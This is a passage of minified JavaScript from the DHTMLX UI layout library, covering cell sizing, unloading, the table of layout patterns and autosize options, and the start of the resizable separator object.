y.cells){if(y.cells[x].layout!=null){this.cdata[x].dataNested=true;this.cdata[x]._layoutMainInst=this;this.cdata[x].attachLayout({pattern:y.cells[x].layout});this.cdata[x]._layoutMainInst=null}}}};this.setSizes=function(E,M,I,x){var F=(this.conf.inited==true&&this._getMainInst()==this&&this.checkEvent(\"onResizeFinish\")==true?{}:false);this._adjustCont();var L=this.cont.offsetWidth;var C=this.cont.offsetHeight;if(this.conf.mode==\"c\"){var a=0;var N=0;var q=L;var K=C;this.cdata.a._setSize(a,N,q,K,E,I,x);this.callEvent(\"_onSetSizes\",[]);if(F&&(!(this.conf.b_size.w==L&&this.conf.b_size.h==C))){this._callMainEvent(\"onResizeFinish\",[])}this.conf.b_size={w:L,h:C};return}if(typeof(M)==\"undefined\"){var y=(this.conf.mode==\"v\"?\"w\":\"h\");M=this.conf.autosize;if(this.cdata.a.conf.collapsed){M=\"b\"}else{if(this.cdata.b.conf.collapsed){M=\"a\"}else{if(E==\"a\"||E==\"b\"){M=this.conf.nextCell[E]}}}}else{}if(this.conf.mode==\"v\"){if(M==\"a\"){if(this.cdata.b.conf.init.w!=null){var J=Math.round(L*this.cdata.b.conf.init.w-this.conf.sw/2)}else{var J=this.cdata.b.conf.size.w}var H=L-J;var D=0;var A=C;var a=0;var N=D;var q=H-a-this.conf.sw;var K=A}else{var a=0;var N=0;if(this.cdata.a.conf.init.w!=null){var q=Math.round(L*this.cdata.a.conf.init.w-this.conf.sw/2)-a}else{var q=this.cdata.a.conf.size.w}var K=C-N;var H=a+q+this.conf.sw;var D=N;var J=L-H;var A=K}this.cdata.a._setSize(a,N,q,K,E,I,x);this.cdata.b._setSize(H,D,J,A,E,I,x);this.sep._setSize(a+q,N,this.conf.sw,K)}else{if(M==\"a\"){if(this.cdata.b.conf.init.h!=null){var A=Math.round(C*this.cdata.b.conf.init.h-this.conf.sw/2)}else{var A=this.cdata.b.conf.size.h}var H=0;var D=C-A;var J=L-H;var a=H;var N=0;var q=J;var K=D-N-this.conf.sw}else{var a=0;var N=0;var q=L-a;if(this.cdata.a.conf.init.h!=null){var K=Math.round(C*this.cdata.a.conf.init.h-this.conf.sw/2)}else{var K=this.cdata.a.conf.size.h}var H=a;var D=N+K+this.conf.sw;var J=q;var A=C-D}this.cdata.a._setSize(a,N,q,K,E,I,x);this.cdata.b._setSize(H,D,J,A,E,I,x);this.sep._setSize(a,N+K,q,this.conf.sw)}this.callEvent(\"_onSetSizes\",[]);if(F&&(!(this.conf.b_size.w==L&&this.conf.b_size.h==C))){this._callMainEvent(\"onResizeFinish\",[])}this.conf.b_size={w:L,h:C}};this._getAvailWidth=function(){var A=[];for(var E=0;E<this.conf.as_cells.h.length;E++){var x=this.cells(this.conf.as_cells.h[E]);var C=x.layout;var y=C.conf.autosize;if(x.conf.collapsed){x=C.cdata[C.conf.nextCell[x._idd]];y=C.conf.nextCell[y]}A.push(Math.max(0,x.getWidth()-x._getMinWidth(y)));C=x=null}var D=(A.length>0?Math.min.apply(window,A):0);return this.cont.offsetWidth-D};this._getAvailHeight=function(){var C=[];for(var E=0;E<this.conf.as_cells.v.length;E++){var x=this.cells(this.conf.as_cells.v[E]);var A=x.layout;var y=A.conf.autosize;if(x.conf.collapsed){x=A.cdata[A.conf.nextCell[x._idd]];y=A.conf.nextCell[y]}C.push(Math.max(0,x.getHeight()-x._getHdrHeight()-x._getMinHeight(y)));A=x=null}var D=Math.min.apply(window,C);return this.cont.offsetHeight-D};this.setSkin=function(a){this._setBaseSkin(a);this.conf.skin=a};this.unload=function(){this.conf.unloading=true;this.mainInst=null;this.parentLayout=null;if(this.items!=null){for(var y=0;y<this.items.length;y++){this.items[y]=null}this.items=null}if(this.dhxWins!=null){this.dhxWins.unload();this.dhxWins=null}if(this.sep!=null){this.sep._unload();this.sep=null}for(var x in this.cdata){this.cdata[x]._unload();this.cdata[x]=null}this._unloadTop();window.dhx4._eventable(this,\"clear\");for(var x in this){this[x]=null}m=null};this._getWindowMinDimension=function(y){var a=m._getAvailWidth()+7+7;var x=m._getAvailHeight()+7+31;var q={w:Math.max(a,200),h:Math.max(x,140)};y=null;return q};window.dhx4._eventable(this);this._callMainEvent=function(q,a){return this.callEvent(q,a)};this._init(o||\"3E\");var r=this._availAutoSize[o];if(r!=null){this.conf.pattern=o;this.setAutoSize(r.h[r.h.length-1],r.v[r.v.length-1])}if(typeof(window.dhtmlXWindows)==\"function\"&&this.mainInst==null){var g={vp_overflow:(this.conf.fs_mode==true?false:\"auto\")};this.dhxWins=new dhtmlXWindows(g);this.dhxWins.setSkin(this.conf.skin)}this.conf.inited=true;if(this==this._getMainInst()){var s=0;this.items=[];this.forEachItem(function(a){m.items.push(a);a.conf.index=s++})}if(this==this._getMainInst()&&u!=null){if(u.autosize!=null){this.setAutoSize.apply(this,u.autosize)}if(u.cells!=null){for(var c=0;c<u.cells.length;c++){var h=u.cells[c];var v=this.cells(h.id);if(h.width){v.setWidth(h.width)}if(h.height){v.setHeight(h.height)}if(h.text){v.setText(h.text)}if(h.collapsed_text){v.setCollapsedText(h.collapsed_text)}if(h.collapse){v.collapse()}if(h.fix_size){v.fixSize(h.fix_size[0],h.fix_size[1])}if(typeof(h.header)!=\"undefined\"&&window.dhx4.s2b(h.header)==false){v.hideHeader()}}}}u=null;return this}dhtmlXLayoutObject.prototype=new dhtmlXCellTop();dhtmlXLayoutObject.prototype.cells=function(g){for(var c in this.cdata){if(this.cdata[c].conf.name==g){return this.cdata[c]}if(this.cdata[c].dataType==\"layout\"&&this.cdata[c].dataNested==true&&this.cdata[c].dataObj!=null){var e=this.cdata[c].dataObj.cells(g);if(e!=null){return e}}}return null};dhtmlXLayoutObject.prototype.forEachItem=function(g,e){if(typeof(g)!=\"function\"){return}if(typeof(e)==\"undefined\"){e=this}for(var c in this.cdata){if(typeof(this.cdata[c].conf.name)!=\"undefined\"){g.apply(e,[this.cdata[c]])}if(this.cdata[c].dataType==\"layout\"&&this.cdata[c].dataNested==true&&this.cdata[c].dataObj!=null){this.cdata[c].dataObj.forEachItem(g,e)}}e=null};dhtmlXLayoutObject.prototype._forEachSep=function(g,e){if(typeof(g)!=\"function\"){return}if(typeof(e)==\"undefined\"){e=this}if(this.sep!=null){g.apply(e,[this.sep])}for(var c in this.cdata){if(this.cdata[c].dataType==\"layout\"&&this.cdata[c].dataNested==true&&this.cdata[c].dataObj!=null){this.cdata[c].dataObj._forEachSep(g,e)}}e=null};dhtmlXLayoutObject.prototype._detectSW=function(){if(this._confGlob.sw==null){this._confGlob.sw={}}if(this._confGlob.sw[this.conf.skin]==null){this._confGlob.sw[this.conf.skin]=window.dhx4.readFromCss(\"dhxlayout_sep_sw_\"+this.conf.skin)}return this._confGlob.sw[this.conf.skin]};dhtmlXLayoutObject.prototype._confGlob={};dhtmlXLayoutObject.prototype.listPatterns=function(){var e=[];for(var c in this.tplData){e.push(c)}return e};dhtmlXLayoutObject.prototype.listAutoSizes=function(){var g=(this.conf.as_cells!=null?(this.conf.as_cells.h).join(\";\"):\"\");var e=(this.conf.as_cells!=null?(this.conf.as_cells.v).join(\";\"):\"\");var c=this._availAutoSize[this.conf.pattern].h;var a=this._availAutoSize[this.conf.pattern].v;return[g,e,c,a]};dhtmlXLayoutObject.prototype._getCellsNames=function(g){var h={};if(this.cdata[g].conf.name!=null){h[this.cdata[g].conf.name]=true}if(this.cdata[g].dataType==\"layout\"&&this.cdata[g].dataObj!=null&&this.cdata[g].dataObj.mainInst==this){var c=this.cdata[g].dataObj._getCellsNames(\"a\");var l=this.cdata[g].dataObj._getCellsNames(\"b\");for(var e in c){h[e]=c[e]}for(var e in l){h[e]=l[e]}}return h};dhtmlXLayoutObject.prototype.setAutoSize=function(c,o,r){if(r!==true){var v=this.listAutoSizes();if(v[0]==c&&v[1]==o){return}var n=false;var l=false;for(var e=0;e<v[2].length;e++){n=n||v[2][e]==c}for(var e=0;e<v[3].length;e++){l=l||v[3][e]==o}if(!n||!l){return}}this.conf.as_cells={h:c.split(\";\"),v:o.split(\";\")};var g=(this.conf.mode==\"v\"?\"h\":\"v\");for(var u in this.cdata){var h=this._getCellsNames(u);var w=false;for(var e=0;e<this.conf.as_cells[g].length;e++){w=w||h[this.conf.as_cells[g][e]]}if(w){this.conf.autosize=u}if(this.cdata[u].dataType==\"layout\"&&this.cdata[u].dataObj!=null){this.cdata[u].dataObj.setAutoSize(c,o,true)}}};dhtmlXLayoutObject.prototype.tplData={\"1C\":{mode:\"c\",cells:{a:{name:\"a\"}}},\"2E\":{mode:\"h\",cells:{a:{name:\"a\",fsize:{v:1}},b:{name:\"b\",fsize:{v:1}}}},\"2U\":{mode:\"v\",cells:{a:{name:\"a\",fsize:{h:1}},b:{name:\"b\",fsize:{h:1}}}},\"3E\":{mode:\"h\",cells:{a:{name:\"a\",height:1/3,fsize:{v:1}},b:{layout:{mode:\"h\",cells:{a:{name:\"b\",fsize:{v:[1,2]}},b:{name:\"c\",fsize:{v:2}}}}}}},\"3W\":{mode:\"v\",cells:{a:{name:\"a\",width:1/3,fsize:{h:1}},b:{layout:{mode:\"v\",cells:{a:{name:\"b\",fsize:{h:[1,2]}},b:{name:\"c\",fsize:{h:2}}}}}}},\"3J\":{mode:\"v\",cells:{a:{layout:{mode:\"h\",cells:{a:{name:\"a\",fsize:{h:1,v:2}},b:{name:\"c\",fsize:{h:1,v:2}}}}},b:{name:\"b\",fsize:{h:1}}}},\"3L\":{mode:\"v\",cells:{a:{name:\"a\",fsize:{h:1}},b:{layout:{mode:\"h\",cells:{a:{name:\"b\",fsize:{h:1,v:2}},b:{name:\"c\",fsize:{h:1,v:2}}}}}}},\"3T\":{mode:\"h\",cells:{a:{name:\"a\",fsize:{v:1}},b:{layout:{mode:\"v\",cells:{a:{name:\"b\",fsize:{h:2,v:1}},b:{name:\"c\",fsize:{h:2,v:1}}}}}}},\"3U\":{mode:\"h\",cells:{a:{layout:{mode:\"v\",cells:{a:{name:\"a\",fsize:{h:2,v:1}},b:{name:\"b\",fsize:{h:2,v:1}}}}},b:{name:\"c\",fsize:{v:1}}}},\"4H\":{mode:\"v\",cells:{a:{name:\"a\",width:1/3,fsize:{h:1}},b:{layout:{mode:\"v\",cells:{a:{layout:{mode:\"h\",cells:{a:{name:\"b\",fsize:{h:[1,2],v:3}},b:{name:\"c\",fsize:{h:[1,2],v:3}}}}},b:{name:\"d\",fsize:{h:2}}}}}}},\"4I\":{mode:\"h\",cells:{a:{name:\"a\",height:1/3,fsize:{v:1}},b:{layout:{mode:\"h\",cells:{a:{layout:{mode:\"v\",cells:{a:{name:\"b\",fsize:{h:3,v:[1,2]}},b:{name:\"c\",fsize:{h:3,v:[1,2]}}}}},b:{name:\"d\",fsize:{v:2}}}}}}},\"4T\":{mode:\"h\",cells:{a:{name:\"a\",fsize:{v:1}},b:{layout:{mode:\"v\",cells:{a:{name:\"b\",width:1/3,fsize:{h:2,v:1}},b:{layout:{mode:\"v\",cells:{a:{name:\"c\",fsize:{h:[2,3],v:1}},b:{name:\"d\",fsize:{h:3,v:1}}}}}}}}}},\"4U\":{mode:\"h\",cells:{a:{layout:{mode:\"v\",cells:{a:{name:\"a\",width:1/3,fsize:{h:2,v:1}},b:{layout:{mode:\"v\",cells:{a:{name:\"b\",fsize:{h:[2,3],v:1}},b:{name:\"c\",fsize:{h:3,v:1}}}}}}}},b:{name:\"d\",fsize:{v:1}}}},\"4E\":{mode:\"h\",cells:{a:{name:\"a\",height:1/4,fsize:{v:1}},b:{layout:{mode:\"h\",cells:{a:{name:\"b\",height:1/3,fsize:{v:[1,2]}},b:{layout:{mode:\"h\",cells:{a:{name:\"c\",fsize:{v:[2,3]}},b:{name:\"d\",fsize:{v:3}}}}}}}}}},\"4W\":{mode:\"v\",cells:{a:{name:\"a\",width:1/4,fsize:{h:1}},b:{layout:{mode:\"v\",cells:{a:{name:\"b\",width:1/3,fsize:{h:[1,2]}},b:{layout:{mode:\"v\",cells:{a:{name:\"c\",fsize:{h:[2,3]}},b:{name:\"d\",fsize:{h:3}}}}}}}}}},\"4A\":{mode:\"v\",cells:{a:{width:1/3,layout:{mode:\"h\",cells:{a:{name:\"a\",fsize:{h:1,v:2}},b:{name:\"b\",fsize:{h:1,v:2}}}}},b:{layout:{mode:\"v\",cells:{a:{name:\"c\",fsize:{h:[1,3]}},b:{name:\"d\",fsize:{h:3}}}}}}},\"4L\":{mode:\"v\",cells:{a:{name:\"a\",width:1/3,fsize:{h:1}},b:{layout:{mode:\"v\",cells:{a:{name:\"b\",fsize:{h:[1,2]}},b:{layout:{mode:\"h\",cells:{a:{name:\"c\",fsize:{h:2,v:3}},b:{name:\"d\",fsize:{h:2,v:3}}}}}}}}}},\"4J\":{mode:\"h\",cells:{a:{name:\"a\",height:1/3,fsize:{v:1}},b:{layout:{mode:\"h\",cells:{a:{name:\"b\",fsize:{v:[1,2]}},b:{layout:{mode:\"v\",cells:{a:{name:\"c\",fsize:{h:3,v:2}},b:{name:\"d\",fsize:{h:3,v:2}}}}}}}}}},\"4F\":{mode:\"h\",cells:{a:{height:1/3,layout:{mode:\"v\",cells:{a:{name:\"a\",fsize:{h:2,v:1}},b:{name:\"b\",fsize:{h:2,v:1}}}}},b:{layout:{mode:\"h\",cells:{a:{name:\"c\",fsize:{v:[1,3]}},b:{name:\"d\",fsize:{v:3}}}}}}},\"4G\":{mode:\"v\",cells:{a:{layout:{mode:\"h\",cells:{a:{name:\"a\",height:1/3,fsize:{h:1,v:2}},b:{layout:{mode:\"h\",cells:{a:{name:\"b\",fsize:{h:1,v:[2,3]}},b:{name:\"c\",fsize:{h:1,v:3}}}}}}}},b:{name:\"d\",fsize:{h:1}}}},\"4C\":{mode:\"v\",cells:{a:{name:\"a\",fsize:{h:1}},b:{layout:{mode:\"h\",cells:{a:{name:\"b\",height:1/3,fsize:{h:1,v:2}},b:{layout:{mode:\"h\",cells:{a:{name:\"c\",fsize:{h:1,v:[2,3]}},b:{name:\"d\",fsize:{h:1,v:3}}}}}}}}}},\"5H\":{mode:\"v\",cells:{a:{width:1/3,name:\"a\",fsize:{h:1}},b:{layout:{mode:\"v\",cells:{a:{layout:{mode:\"h\",cells:{a:{name:\"b\",height:1/3,fsize:{h:[1,2],v:3}},b:{layout:{mode:\"h\",cells:{a:{name:\"c\",fsize:{h:[1,2],v:[3,4]}},b:{name:\"d\",fsize:{h:[1,2],v:4}}}}}}}},b:{name:\"e\",fsize:{h:2}}}}}}},\"5I\":{mode:\"h\",cells:{a:{height:1/3,name:\"a\",fsize:{v:1}},b:{layout:{mode:\"h\",cells:{a:{layout:{mode:\"v\",cells:{a:{name:\"b\",width:1/3,fsize:{h:3,v:[1,2]}},b:{layout:{mode:\"v\",cells:{a:{name:\"c\",fsize:{h:[3,4],v:[1,2]}},b:{name:\"d\",fsize:{h:4,v:[1,2]}}}}}}}},b:{name:\"e\",fsize:{v:2}}}}}}},\"5U\":{mode:\"h\",cells:{a:{layout:{mode:\"v\",cells:{a:{name:\"a\",width:1/4,fsize:{h:2,v:1}},b:{layout:{mode:\"v\",cells:{a:{name:\"b\",width:1/3,fsize:{h:[2,3],v:1}},b:{layout:{mode:\"v\",cells:{a:{name:\"c\",fsize:{h:[3,4],v:1}},b:{name:\"d\",fsize:{h:4,v:1}}}}}}}}}}},b:{name:\"e\",fsize:{v:1}}}},\"5E\":{mode:\"h\",cells:{a:{name:\"a\",height:1/5,fsize:{v:1}},b:{layout:{mode:\"h\",cells:{a:{name:\"b\",height:1/4,fsize:{v:[1,2]}},b:{layout:{mode:\"h\",cells:{a:{name:\"c\",height:1/3,fsize:{v:[2,3]}},b:{layout:{mode:\"h\",cells:{a:{name:\"d\",fsize:{v:[3,4]}},b:{name:\"e\",fsize:{v:4}}}}}}}}}}}}},\"5W\":{mode:\"v\",cells:{a:{name:\"a\",width:1/5,fsize:{h:1}},b:{layout:{mode:\"v\",cells:{a:{name:\"b\",width:1/4,fsize:{h:[1,2]}},b:{layout:{mode:\"v\",cells:{a:{name:\"c\",width:1/3,fsize:{h:[2,3]}},b:{layout:{mode:\"v\",cells:{a:{name:\"d\",fsize:{h:[3,4]}},b:{name:\"e\",fsize:{h:4}}}}}}}}}}}}},\"5K\":{mode:\"v\",cells:{a:{layout:{mode:\"h\",cells:{a:{name:\"a\",height:1/3,fsize:{h:1,v:2}},b:{layout:{mode:\"h\",cells:{a:{name:\"b\",fsize:{h:1,v:[2,3]}},b:{name:\"c\",fsize:{h:1,v:3}}}}}}}},b:{layout:{mode:\"h\",cells:{a:{name:\"d\",fsize:{h:1,v:4}},b:{name:\"e\",fsize:{h:1,v:4}}}}}}},\"5S\":{mode:\"v\",cells:{a:{layout:{mode:\"h\",cells:{a:{name:\"a\",fsize:{h:1,v:2}},b:{name:\"b\",fsize:{h:1,v:2}}}}},b:{layout:{mode:\"h\",cells:{a:{name:\"c\",height:1/3,fsize:{h:1,v:3}},b:{layout:{mode:\"h\",cells:{a:{name:\"d\",fsize:{h:1,v:[3,2]}},b:{name:\"e\",fsize:{h:1,v:4}}}}}}}}}},\"5G\":{mode:\"v\",cells:{a:{width:1/3,layout:{mode:\"h\",cells:{a:{name:\"a\",height:1/3,fsize:{h:1,v:2}},b:{layout:{mode:\"h\",cells:{a:{name:\"b\",fsize:{h:1,v:[2,3]}},b:{name:\"c\",fsize:{h:1,v:3}}}}}}}},b:{layout:{mode:\"v\",cells:{a:{name:\"d\",fsize:{h:[1,4]}},b:{name:\"e\",fsize:{h:4}}}}}}},\"5C\":{mode:\"v\",cells:{a:{width:2/3,layout:{mode:\"v\",cells:{a:{name:\"a\",fsize:{h:2}},b:{name:\"b\",fsize:{h:[2,1]}}}}},b:{layout:{mode:\"h\",cells:{a:{name:\"c\",height:1/3,fsize:{h:1,v:3}},b:{layout:{mode:\"h\",cells:{a:{name:\"d\",fsize:{h:1,v:[3,4]}},b:{name:\"e\",fsize:{h:1,v:4}}}}}}}}}},\"6H\":{mode:\"v\",cells:{a:{width:1/3,name:\"a\",fsize:{h:1}},b:{layout:{mode:\"v\",cells:{a:{layout:{mode:\"h\",cells:{a:{name:\"b\",height:1/4,fsize:{h:[1,2],v:3}},b:{layout:{mode:\"h\",cells:{a:{name:\"c\",height:1/3,fsize:{h:[1,2],v:[3,4]}},b:{layout:{mode:\"h\",cells:{a:{name:\"d\",fsize:{h:[1,2],v:[4,5]}},b:{name:\"e\",fsize:{h:[1,2],v:5}}}}}}}}}}},b:{name:\"f\",fsize:{h:2}}}}}}},\"6I\":{mode:\"h\",cells:{a:{height:1/3,name:\"a\",fsize:{v:1}},b:{layout:{mode:\"h\",cells:{a:{layout:{mode:\"v\",cells:{a:{name:\"b\",width:1/4,fsize:{h:3,v:[1,2]}},b:{layout:{mode:\"v\",cells:{a:{name:\"c\",width:1/3,fsize:{h:[3,4],v:[1,2]}},b:{layout:{mode:\"v\",cells:{a:{name:\"d\",fsize:{h:[4,5],v:[1,2]}},b:{name:\"e\",fsize:{h:5,v:[1,2]}}}}}}}}}}},b:{name:\"f\",fsize:{v:2}}}}}}},\"6A\":{mode:\"v\",cells:{a:{layout:{mode:\"h\",cells:{a:{name:\"a\",height:1/5,fsize:{h:1,v:2}},b:{layout:{mode:\"h\",cells:{a:{name:\"b\",height:1/4,fsize:{h:1,v:[2,3]}},b:{layout:{mode:\"h\",cells:{a:{name:\"c\",height:1/3,fsize:{h:1,v:[3,4]}},b:{layout:{mode:\"h\",cells:{a:{name:\"d\",fsize:{h:1,v:[4,5]}},b:{name:\"e\",fsize:{h:1,v:5}}}}}}}}}}}}}},b:{name:\"f\",fsize:{h:1}}}},\"6C\":{mode:\"v\",cells:{a:{name:\"a\",fsize:{h:1}},b:{layout:{mode:\"h\",cells:{a:{name:\"b\",height:1/5,fsize:{h:1,v:2}},b:{layout:{mode:\"h\",cells:{a:{name:\"c\",height:1/4,fsize:{h:1,v:[2,3]}},b:{layout:{mode:\"h\",cells:{a:{name:\"d\",height:1/3,fsize:{h:1,v:[3,4]}},b:{layout:{mode:\"h\",cells:{a:{name:\"e\",fsize:{h:1,v:[4,5]}},b:{name:\"f\",fsize:{h:1,v:5}}}}}}}}}}}}}}}},\"6J\":{mode:\"v\",cells:{a:{width:1/3,layout:{mode:\"h\",cells:{a:{name:\"a\",height:1/4,fsize:{h:1,v:2}},b:{layout:{mode:\"h\",cells:{a:{name:\"b\",height:1/3,fsize:{h:1,v:[2,3]}},b:{layout:{mode:\"h\",cells:{a:{name:\"c\",fsize:{h:1,v:[3,4]}},b:{name:\"d\",fsize:{h:1,v:4}}}}}}}}}}},b:{layout:{mode:\"v\",cells:{a:{name:\"e\",fsize:{h:[1,5]}},b:{name:\"f\",fsize:{h:5}}}}}}},\"6E\":{mode:\"v\",cells:{a:{name:\"a\",width:1/3,fsize:{h:1}},b:{layout:{mode:\"v\",cells:{a:{name:\"b\",fsize:{h:[1,2]}},b:{layout:{mode:\"h\",cells:{a:{name:\"c\",height:1/4,fsize:{h:2,v:3}},b:{layout:{mode:\"h\",cells:{a:{name:\"d\",height:1/3,fsize:{h:2,v:[3,4]}},b:{layout:{mode:\"h\",cells:{a:{name:\"e\",fsize:{h:2,v:[4,5]}},b:{name:\"f\",fsize:{h:2,v:5}}}}}}}}}}}}}}}},\"6W\":{mode:\"v\",cells:{a:{name:\"a\",width:1/6,fsize:{h:1}},b:{layout:{mode:\"v\",cells:{a:{name:\"b\",width:1/5,fsize:{h:[1,2]}},b:{layout:{mode:\"v\",cells:{a:{name:\"c\",width:1/4,fsize:{h:[2,3]}},b:{layout:{mode:\"v\",cells:{a:{name:\"d\",width:1/3,fsize:{h:[3,4]}},b:{layout:{mode:\"v\",cells:{a:{name:\"e\",fsize:{h:[4,5]}},b:{name:\"f\",fsize:{h:5}}}}}}}}}}}}}}}},\"7H\":{mode:\"v\",cells:{a:{name:\"a\",width:1/3,fsize:{h:1}},b:{layout:{mode:\"v\",cells:{a:{layout:{mode:\"h\",cells:{a:{name:\"b\",height:1/5,fsize:{h:[1,2],v:3}},b:{layout:{mode:\"h\",cells:{a:{name:\"c\",height:1/4,fsize:{h:[1,2],v:[3,4]}},b:{layout:{mode:\"h\",cells:{a:{name:\"d\",height:1/3,fsize:{h:[1,2],v:[4,5]}},b:{layout:{mode:\"h\",cells:{a:{name:\"e\",fsize:{h:[1,2],v:[5,6]}},b:{name:\"f\",fsize:{h:[1,2],v:6}}}}}}}}}}}}}},b:{name:\"g\",fsize:{h:2}}}}}}},\"7I\":{mode:\"h\",cells:{a:{name:\"a\",height:1/3,fsize:{v:1}},b:{layout:{mode:\"h\",cells:{a:{layout:{mode:\"v\",cells:{a:{name:\"b\",width:1/5,fsize:{h:3,v:[1,2]}},b:{layout:{mode:\"v\",cells:{a:{name:\"c\",width:1/4,fsize:{h:[3,4],v:[1,2]}},b:{layout:{mode:\"v\",cells:{a:{name:\"d\",width:1/3,fsize:{h:[4,5],v:[1,2]}},b:{layout:{mode:\"v\",cells:{a:{name:\"e\",fsize:{h:[5,6],v:[1,2]}},b:{name:\"f\",fsize:{h:6,v:[1,2]}}}}}}}}}}}}}},b:{name:\"g\",fsize:{v:2}}}}}}}};dhtmlXLayoutObject.prototype._availAutoSize={\"1C\":{h:[\"a\"],v:[\"a\"]},\"2E\":{h:[\"a;b\"],v:[\"a\",\"b\"]},\"2U\":{h:[\"a\",\"b\"],v:[\"a;b\"]},\"3E\":{h:[\"a;b;c\"],v:[\"a\",\"b\",\"c\"]},\"3W\":{h:[\"a\",\"b\",\"c\"],v:[\"a;b;c\"]},\"3J\":{h:[\"a;c\",\"b\"],v:[\"a;b\",\"b;c\"]},\"3L\":{h:[\"a\",\"b;c\"],v:[\"a;b\",\"a;c\"]},\"3T\":{h:[\"a;b\",\"a;c\"],v:[\"a\",\"b;c\"]},\"3U\":{h:[\"a;c\",\"b;c\"],v:[\"a;b\",\"c\"]},\"4H\":{h:[\"a\",\"b;c\",\"d\"],v:[\"a;b;d\",\"a;c;d\"]},\"4I\":{h:[\"a;b;d\",\"a;c;d\"],v:[\"a\",\"b;c\",\"d\"]},\"4T\":{h:[\"a;b\",\"a;c\",\"a;d\"],v:[\"a\",\"b;c;d\"]},\"4U\":{h:[\"a;d\",\"b;d\",\"c;d\"],v:[\"a;b;c\",\"d\"]},\"4E\":{h:[\"a;b;c;d\"],v:[\"a\",\"b\",\"c\",\"d\"]},\"4W\":{h:[\"a\",\"b\",\"c\",\"d\"],v:[\"a;b;c;d\"]},\"4A\":{h:[\"a;b\",\"c\",\"d\"],v:[\"a;c;d\",\"b;c;d\"]},\"4L\":{h:[\"a\",\"b\",\"c;d\"],v:[\"a;b;c\",\"a;b;d\"]},\"4J\":{h:[\"a;b;c\",\"a;b;d\"],v:[\"a\",\"b\",\"c;d\"]},\"4F\":{h:[\"a;c;d\",\"b;c;d\"],v:[\"a;b\",\"c\",\"d\"]},\"4G\":{h:[\"a;b;c\",\"d\"],v:[\"a;d\",\"b;d\",\"c;d\"]},\"4C\":{h:[\"a\",\"b;c;d\"],v:[\"a;b\",\"a;c\",\"a;d\"]},\"5H\":{h:[\"a\",\"b;c;d\",\"e\"],v:[\"a;b;e\",\"a;c;e\",\"a;d;e\"]},\"5I\":{h:[\"a;b;e\",\"a;c;e\",\"a;d;e\"],v:[\"a\",\"b;c;d\",\"e\"]},\"5U\":{h:[\"a;e\",\"b;e\",\"c;e\",\"d;e\"],v:[\"a;b;c;d\",\"e\"]},\"5E\":{h:[\"a;b;c;d;e\"],v:[\"a\",\"b\",\"c\",\"d\",\"e\"]},\"5W\":{h:[\"a\",\"b\",\"c\",\"d\",\"e\"],v:[\"a;b;c;d;e\"]},\"5K\":{h:[\"a;b;c\",\"d;e\"],v:[\"a;d\",\"b;d\",\"c;d\",\"a;e\",\"b;e\",\"c;e\"]},\"5S\":{h:[\"a;b\",\"c;d;e\"],v:[\"a;c\",\"a;d\",\"a;e\",\"b;c\",\"b;d\",\"b;e\"]},\"5G\":{h:[\"a;b;c\",\"d\",\"e\"],v:[\"a;d;e\",\"b;d;e\",\"c;d;e\"]},\"5C\":{h:[\"a\",\"b\",\"c;d;e\"],v:[\"a;b;c\",\"a;b;d\",\"a;b;e\"]},\"6H\":{h:[\"a\",\"b;c;d;e\",\"f\"],v:[\"a;b;f\",\"a;c;f\",\"a;d;f\",\"a;e;f\"]},\"6I\":{h:[\"a;b;f\",\"a;c;f\",\"a;d;f\",\"a;e;f\"],v:[\"a\",\"b;c;d;e\",\"f\"]},\"6A\":{h:[\"a;b;c;d;e\",\"f\"],v:[\"a;f\",\"b;f\",\"c;f\",\"d;f\",\"e;f\"]},\"6C\":{h:[\"a\",\"b;c;d;e;f\"],v:[\"a;b\",\"a;c\",\"a;d\",\"a;e\",\"a;f\"]},\"6J\":{h:[\"a;b;c;d\",\"e\",\"f\"],v:[\"a;e;f\",\"b;e;f\",\"c;e;f\",\"d;e;f\"]},\"6E\":{h:[\"a\",\"b\",\"c;d;e;f\"],v:[\"a;b;c\",\"a;b;d\",\"a;b;e\",\"a;b;f\"]},\"6W\":{h:[\"a\",\"b\",\"c\",\"d\",\"e\",\"f\"],v:[\"a;b;c;d;e;f\"]},\"7H\":{h:[\"a\",\"b;c;d;e;f\",\"g\"],v:[\"a;b;g\",\"a;c;g\",\"a;d;g\",\"a;e;g\",\"a;f;g\"]},\"7I\":{h:[\"a;b;g\",\"a;c;g\",\"a;d;g\",\"a;e;g\",\"a;f;g\"],v:[\"a\",\"b;c;d;e;f\",\"g\"]}};function dhtmlXLayoutSepObject(e,a){var c=this;this.conf={mode:e,idx:a,blocked:false,locked:false,btn_left:((window.dhx4.isIE6||window.dhx4.isIE7||window.dhx4.isIE8)&&typeof(window.addEventListener)==\"undefined\"?1:0)};if(window.dhx4.isIE&&navigator.userAgent.indexOf(\"MSIE 7.0\")>=0&&navigator.userAgent.indexOf(\"Trident\")>=0){this.conf.btn_left=1}this.sep=document.createElement(\"DIV\");this.sep.className=\"dhxlayout_sep\";if(window.dhx4.isIE==true){this.sep.onselectstart=function(){return false}}this.sep.className=\"dhxlayout_sep dhxlayout_sep_resize_\"+this.conf.mode;this._setSize=function(g,n,l,m){this.sep.style.left=g+\"px\";this.sep.style.top=n+\"px\";this.sep.style.width=Math.max(l,0)+\"px\";this.sep.style.height=Math.max(m,0)+\"px\"};this._lockSep=function(g){this.conf.locked=(g==true);this._blockSep()};this._setWH=function(g){var h=this._getLayout();h.conf.sw=(g==null?h._detectSW():Math.max(parseInt(g)||-1,-1));h._getMainInst().setSizes();h=null};this._blockSep=function(){var g=this._getLayout();var h=g.cdata.a.conf.collapsed||g.cdata.b.conf.collapsed||this.conf.locked;g=null;if(this.conf.blocked==h){return}this.sep.className=\"dhxlayout_sep\"+(h?\"\":\" dhxlayout_sep_resize_\"+this.conf.mode);this.conf.blocked=h};this._beforeResize=function(h){if(this.conf.blocked){return}if(this.conf.resize!=null&&this.conf.resize.active==true){return}if(h.type==window.dhx4.dnd.evs.start){this.sep.className+=\" dhxlayout_sep_resize_actv\";var m=(h.pageX||h.touches[0].pageX);var l=(h.pageY||h.touches[0].pageY)}else{if(h.button!==this.conf.btn_left){return}var m=h.clientX;var l=h.clientY}if(window.dhx4.dnd.p_en==true){window.dhx4.dnd._touchOff()}var 